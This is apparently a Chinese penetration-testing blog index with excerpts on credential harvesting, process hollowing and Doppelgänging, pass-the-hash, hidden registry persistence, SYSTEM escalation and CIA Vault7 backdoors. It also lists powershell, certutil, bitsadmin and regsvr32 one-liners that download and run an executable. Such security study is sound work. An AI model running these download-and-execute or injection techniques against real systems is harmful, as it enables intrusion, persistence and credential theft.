Good in study, attitude and health

  • 渗透技巧——Windows中Credential Manager的信息获取

    0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。 对于Windows系统,Credential Manager中包含十分重要的信息。 这其中具体包含什么类型的信息,获取的方法有哪些呢?本文将要一一介绍 0x01 简介 本文将要介绍以下内容: Credential Manager中不同类型的凭据 不同凭据的明文口令获取方法 实际测试 0x02 Credential Manager简介 Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码) 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录 凭据保存在特定的位置,被称作为保管库(vault)(位于%localappdata%/Microsoft\Vault) 凭据类别: 包含两种,分别为Domain Credentials和Generic Credentials Domain Credentials: 只有本地Local Security Authority (LSA)能够对其读写 也就是说,普通权限无法读取Domain Credentials类型的明文口令 Generic Credentials: 能够被用户进程读写 也就是说,普通权限可以读取Generic Credentials类型的明文口令 参考资料: https://msdn.microsoft.com/en-us/library/aa380517.aspx 0x03 实际测试 测试1: 测试系统: Win7 访问文件共享\\192.168.62.130 如下图 填入正确的用户名密码,选中记住我的凭据 下次再访问时,就不需要再次输入用户名密码 通过控制面板能够找到添加的凭据,位置为控制面板-用户帐户和家庭安全-凭据管理器 如下图...

  • Process Doppelganging利用介绍

    0x00 前言 在最近的BlackHat Europe 2017,Tal Liberman和Eugene Kogan介绍了一种新的代码注入技术——Process Doppelgänging 据说这种利用方式支持所有Windows系统,能够绕过绝大多数安全产品的检测 于是,本文将要根据开源代码,编写程序,实现Process Doppelgänging,测试功能,分析利用思路 参考地址: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf 0x01 简介 本文将要介绍以下内容: 原理 开源代码 修复方法 实际测试 利用思路 防御检测 0x02 Process Doppelgänging原理 原理上类似于Process Hollowing,但是更加高级: 不需要使用傀儡进程 不需要特殊的内存操作,例如SuspendProcess和NtUnmapViewOfSection 注: 关于Process Hollowing的介绍,可参考之前的文章《傀儡进程的实现与检测》 实现思路: 1.打开一个正常文件,创建transaction 关于NTFS transaction,可参考: http://www.ntfs.com/transaction.htm 2.在这个transaction内填入payload,payload作为进程被启动 目前为止,杀毒软件无法对填入的payload进行扫描 3.回滚transaction 相当于还原transaction,清理痕迹 对应程序实现过程: 1.创建transaction 关键函数: NtCreateTransaction 2.在这个transaction内填入payload 关键函数: CreateFileTransacted NtCreateSection 3.payload作为进程被启动...

  • 域渗透——Pass The Hash的实现

    0x00 前言 在之前的文章《域渗透——Pass The Hash & Pass The Key》曾介绍过kb2871997对Pass The Hash的影响。本文将站在另一个角度,介绍Pass The Hash的相关实现 0x01 简介 本文将要介绍以下内容: Pass The Hash的原理 常用工具 mimikatz中的Pass The Hash mimikatz中的Pass The Ticket 0x02 Pass The Hash的原理 可参考Wikipedia的介绍,地址如下: https://en.wikipedia.org/wiki/Pass_the_hash 提取出关键信息: 在Windows系统中,通常会使用NTLM身份认证 NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程) 注: mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash Windows Server...

  • TeamViewer 13.0.5058中的权限漏洞测试

    0x00 前言 12月5日,TeamViewer发布新版本13.0.5640,修复了之前版本13.0.5058中的一个bug。 随后,gellin在github上传了该漏洞的POC,安全信息网站ThreatPost对这个情况作了报道。 但一眼看上去,该漏洞的描述和POC较难理解,于是,本文对其做了进一步测试,验证POC,得出结论 POC: https://github.com/gellin/TeamViewer_Permissions_Hook_V1 ThreatPost报道: https://threatpost.com/teamviewer-rushes-fix-for-permissions-bug/129096/ 0x01 简介 本文将要介绍以下内容: POC测试 原理简要分析 利用思路 防御 0x02 POC测试 1、编译生成dll POC通过c++开发,在使用VS2012对其编译时会出现如下bug: error C2784: “std::_String_iterator std::operator +(_String_iterator::difference_type,std::_String_iterator)”:未能从“std::string”为“std::_String_iterator”推导 模板 参数 bug出现的位置: https://github.com/gellin/TeamViewer_Permissions_Hook_V1/blob/master/TeamViewerHook_13_0_3711_88039/main.cpp#L25 Bug出现的原因是作者使用更高版本的Visual Studio编写,况且这段代码的功能是输出,所以可以忽略,修改后的代码如下: console = new Console(std::string(BANNER), std::string("TeamViewer Permissions Hook v1")); 编译成功,生成TeamViewerHook_13_0_3711_88039.dll 2、测试环境搭建 主机1(Server): 操作系统:Win8 x86 安装TeamViewer 13.0.5058 作为被控制端,ID为543 847 147,密码为49s4eb 主机2(Client):...

  • 渗透技巧——"隐藏"注册表的更多测试

    0x00 前言 在上篇文章《渗透技巧——”隐藏”注册表的创建》介绍了Poweliks使用过的注册表隐藏技术,分析原理,编写c程序实现功能 本文将做进一步测试,分享一种更为”隐蔽”的方法(该方法暂未找到公开资料,待定) 0x01 简介 本文将要介绍以下内容: 使用Win32 API读取时的错误 “\0”放在字符串中间的情况 其他Native API(如NtCreateFile)的应用 更加隐蔽的利用方法 防御检测 0x02 隐藏原理 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符 所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 利用的关键: 使用Native API多了一个参数,能够指定读取字符串的长度 那么,对该问题展开进一步思考,就有了如下测试 0x03 使用Win32 API读取时,具体是什么样的错误? 使用HiddenNtRegistry创建测试注册表键值,c++调用代码如下: printf("=================Normal Key=================\n"); printf("1.CreateKey:\n"); MyCreateKey("\\Registry\\Machine\\Software\\test1"); printf("2.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("3.SetValueKey:\n"); MySetValueKey(hKey,"test1","0123456789abcdef",REG_SZ); printf("=================Hidden Key=================\n"); printf("1.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("2.SetHiddenValueKey:\n"); MySetHiddenValueKey(hKey,"\0test1","hidden0123456789abcdef",REG_SZ); printf("3.QueryHiddenValueKey:\n"); MyQueryHiddenValueKeyString(hKey,"\0test1");...

  • 渗透技巧——"隐藏"注册表的创建

    0x00 前言 知名恶意软件Poweliks曾使用过的一个后门技术,在注册表启动位置创建一个特殊的注册表键值,通过mshta来执行payload 对于这个特殊的注册表键值,在正常情况下无法对其访问,这其中的原理是什么呢?如何读取、创建以及如何删除呢?本文将要一一介绍 0x01 简介 本文将要介绍以下内容: 隐藏注册表的原理 隐藏注册表的实现 程序编写上需要注意的问题 0x02 原理 注册表键值名称经过特殊构造: 以”\0”作为开头,后面加上任意字符(不能为数字) 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符,所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 所以,我们可以通过Native API来创建这个特殊的注册表名 更为重要的是,像regedit.exe和其他对注册表的操作,通常会调用Win32 API,这就导致该注册表无法被读取,也就实现了所谓的”隐藏” 综上,创建方法为: 通过Native API创建一个以”\0”开头的键值 0x03 编写程序实现 通过Native API实现对注册表的操作,可供参考的工程地址: https://www.codeproject.com/Articles/14508/Registry-Manipulation-Using-NT-Native-APIs 作者Dan Madden,他的代码使用了类的封装 个人倾向于使用最基本的api实现,于是参考他的代码,重新设计 对于Native API,需要的结构如下: 1.获取Native API的地址 注册表操作的相关Native API可从ntdll.dll中获得 关键代码如下: HINSTANCE hinstStub = GetModuleHandle(_T("ntdll.dll")); NtOpenKey = (LPNTOPENKEY)GetProcAddress(hinstStub, "NtOpenKey"); 2.Native...

  • 傀儡进程的实现与检测

    0x00 前言 最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》,介绍了将恶意代码注于已知进程的方法 文章发布于2015年6月,虽然作者未公布完整的实现代码,但介绍了实现思路 本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法 文章地址: https://www.adlice.com/runpe-hide-code-behind-legit-process/ 0x01 简介 本文将要介绍以下内容: 实现原理 开源代码测试 优化思路 防御检测 0x02 实现原理 这个利用方法至少在2005以前就存在,国内常常把该方法称为”傀儡进程的创建” 实现思路: 通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起 通过NtUnmapViewOfSection清空新进程的内存数据 通过VirtualAllocEx申请新的内存 通过WriteProcessMemory向内存写入payload 通过SetThreadContext设置入口点 通过ResumeThread唤醒进程,执行payload 在具体实现上,还需要考虑以下问题: 1、傀儡进程的选择 如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等) 所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换 2、清空新进程的内存数据 进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像 函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下: FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dwResult...

  • 渗透技巧——从github下载文件的多种方法

    0x00 前言 本文源于一个有趣的问题: 已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe Windows环境,需要将该exe释放到指定目录并执行,例如c:\download 问:通过cmd实现的最短代码是多少字符? 0x01 简介 本文将要介绍以下内容: 通过cmd实现从github下载文件的方法汇总 选出最短代码的实现方法 0x02 分析 在之前的文章《渗透技巧——通过cmd上传文件的N种方法》对通过命令行下载文件的方法做了汇总 而github支持https协议,并不支持http协议,所以在利用上需要注意一些问题,有些方法不支持http协议 0x03 可用方法汇总 1、powershell powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe' 2、certutil certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe 3、bitsadmin bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe 注: 使用bitsadmin的下载速度较慢 4、regsvr32 regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll 原理: regsve32->JScript->powershell->download&exec JScript调用powershell实现下载执行的代码为: new ActiveXObject("WScript.Shell").Run("powershell...

  • 渗透技巧——从Admin权限切换到System权限

    0x00 前言 在渗透测试中,某些情况下需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM 恰巧最近看到了一篇文章介绍了几种获得system权限的方法,于是决定结合自己的经验对这方面的技巧做系统整理 当然,前提是已经获得系统的管理员权限 学习链接: https://blog.xpnsec.com/becoming-system/ 0x01 简介 本文将要介绍以下内容: 通过创建服务获得System权限的方法 利用MSIExec获得System权限的方法 利用token复制获得System权限的方法 利用Capcom.sys获得System权限的方法 0x02 通过创建服务获得System权限 1、通过sc命令实现 sc Create TestService1 binPath= "cmd /c start" type= own type= interact sc start TestService1 该方法在XP系统可以使用 Win7下使用时控制台提示: 警告: 服务 TestService1 被配置为交互式服务,其支持正受到抨击。该服务可能无法正常起作用。 服务启动时弹框,需要点击查看消息才能执行代码,如下图 Win8下控制台提示错误,无法使用该方法 2、通过计划任务 使用at命令: at 7:50 notepad.exe 默认以system权限启动,适用于Win7 从Win8开始不再支持at命令 使用schtasks命令: 创建服务,以system权限启动: schtasks /Create...

  • CIA Vault7 RDB中的Windows后门利用方法分析

    0x00 前言 在上篇文章《CIA Hive测试指南——源代码获取与简要分析》对维基解密公布的代号为Vault 8的文档进行了研究,简要分析服务器远程控制工具Hive 本文将要继续对维基解密公布的CIA相关资料进行分析,介绍Vault 7中Remote Development Branch (RDB)中提到的Windows后门利用方法 资料地址: https://wikileaks.org/ciav7p1/cms/page_2621760.html 0x01 简介 本文将要分析以下后门利用方法: VBR Persistence Image File Execution Options OCI.DLL Service Persistence Shell Extension Persistence Windows FAX DLL Injection 0x02 VBR Persistence 用于在Windows系统的启动过程中执行后门,能够hook内核代码 VBR全称Volume Boot Record (also known as the Partition Boot Record) 对应工具为Stolen Goods 2.0(未公开) Stolen Goods的说明文档地址:...